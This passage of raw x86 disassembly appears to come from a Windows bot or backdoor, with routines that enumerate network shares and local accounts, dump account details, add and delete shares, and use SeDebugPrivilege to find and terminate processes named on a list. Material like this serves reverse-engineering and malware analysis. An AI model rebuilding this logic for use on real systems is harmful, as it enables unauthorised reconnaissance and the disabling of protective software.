test byte_4DB84C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB84C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5EC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5EC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB5EC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8D8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8B0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB928 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C20 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8CC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA74 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB850 push off_43952C[eax*4] push offset unk_439CD8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB850 push off_439528[eax*4] push offset unk_439CA8 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB850 lea eax, [eax+eax*2] push off_439528[eax*4] push offset unk_439C80 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8BC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB8AC pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA3C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_0 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CF8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA74 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB944 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439EE8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EB4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA74 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA74 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5F0 call sub_41C266 pop ecx mov eax, offset dword_4DB5F0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26C0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9F4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3EC push offset unk_43A21C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3EC push eax push offset dword_43A1F0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2710FCDh nop push eax call dword_4CB9C8 test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB9A0 test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA50 mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] nop call near ptr 2660830h mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CBA04, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9E8, ebx jz loc_419E08 cmp dword_4CB8F8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CBA04 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9E8 mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8F8 test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A248 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2840000h test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A2A8 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax nop call near ptr 2710910h test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CBA04 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB8A4 push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8F8 test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2710910h test eax, eax jnz short loc_419E33 push edi call esi jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: 